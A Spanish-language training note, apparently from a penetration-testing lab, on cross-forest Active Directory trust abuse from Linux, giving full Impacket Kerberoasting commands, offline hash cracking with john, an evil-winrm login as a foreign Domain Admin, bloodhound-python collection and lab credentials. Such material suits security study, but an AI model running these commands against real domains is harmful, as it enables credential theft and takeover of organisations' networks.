Attacking Domain Trusts — Cross-Forest Trust Abuse (Linux)
Desde Linux también podemos abusar de trusts cross-forest para enumerar SPNs, realizar Kerberoasting, encontrar miembros de grupos extranjeros y analizar relaciones entre dominios usando bloodhound-python e Impacket.
🔥 1. Cross-Forest Kerberoasting con Impacket
Para Kerberoasting entre bosques, usamos GetUserSPNs.py con -target-domain.
Requiere credenciales válidas en el dominio remoto.
🔍 Enumerar SPNs en el bosque FREIGHTLOGISTICS.LOCAL
GetUserSPNs.py -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley
transporter@4
Salida relevante:

El usuario mssqlsvc y sapsso es Domain Admin en el bosque externo → Kerberoasting exitoso = control total.
🎯 2. Solicitar el TGS (hash) para crackear
GetUserSPNs.py -request -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley
Salida:

Para crackear
john --format=krb5tgs sapsso.hash --wordlist=/usr/share/wordlists/rockyou.txt
john --show sapsso.hash

El hash se crackea offline (Hashcat modo 13100) → acceso directo como Domain Admin del dominio externo.
Loguearse
evil-winrm -i ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL -u sapsso -p pabloPICASSO
Si el hash crackea, prueba la contraseña en:
🟢 Dominio actual
🟢 Otros service accounts
🟢 Otros dominios → password reuse es muy común.
🔎 3. Buscar membresía extranjera con Bloodhound-Python
A veces, usuarios del dominio A aparecen como miembros de grupos en dominio B mediante un bidirectional forest trust.
Solo los Domain Local Groups aceptan usuarios de fuera del forest.
Esto puede otorgar privilegios administrativos entre bosques.
🛠️ Configurar resolv.conf para apuntar al DC
Si tu Linux no usa DNS interno:
$ cat /etc/resolv.conf
#nameserver 1.1.1.1
#nameserver 8.8.8.8
domain INLANEFREIGHT.LOCAL
nameserver 172.16.5.5
🧪 4. Ejecutar bloodhound-python contra INLANEFREIGHT.LOCAL
bloodhound-python -d INLANEFREIGHT.LOCAL -dc ACADEMY-EA-DC01 -c All -u forend -p Klmcargo2
Salida parcial:
INFO: Found 2 domains in the forest
INFO: Found 559 computers
INFO: Found 2950 users
INFO: Found 183 groups
INFO: Found 2 trusts
Comprimir datos para BloodHound GUI
zip -r ilfreight_bh.zip *.json
🧭 5. Ejecutar bloodhound-python contra FREIGHTLOGISTICS.LOCAL
Modificar resolv.conf:
cat /etc/resolv.conf
domain FREIGHTLOGISTICS.LOCAL
nameserver 172.16.5.238
Ejecutar:
bloodhound-python -d FREIGHTLOGISTICS.LOCAL -dc ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL -c All -u forend@inlanefreight.local -p Klmcargo2
Salida parcial:
INFO: Found 1 domains
INFO: Found 5 computers
INFO: Found 9 users
INFO: Found 1 trust
Sube ambos zips a BloodHound GUI y usa
Analysis → Users with Foreign Domain Group Membership
🕸️ 6. Visualización: Foreign Group Membership
flowchart LR
A[INLANEFREIGHT.LOCAL Administrator] -->|MemberOf| B[Administrators Group<br>FREIGHTLOGISTICS.LOCAL]
B --> C[Full Admin Rights]
Se confirma: Administrator@INLANEFREIGHT.LOCAL tiene permisos administrativos en FREIGHTLOGISTICS.LOCAL.
🧠 7. Conclusiones finales
Los ataques desde Linux permiten:
-
🔥 Kerberoasting cross-forest (Impacket)
-
👥 Encontrar miembros extranjeros (bloodhound-python)
-
🧩 Abusar trusts para escalar privilegios
-
🔄 Encontrar password reuse entre bosques
-
🛠️ Combinar datos multi-forest en BloodHound
Siempre analiza ambos bosques:
A → B y B → A, porque los administradores suelen repetir contraseñas y asignar grupos erróneamente.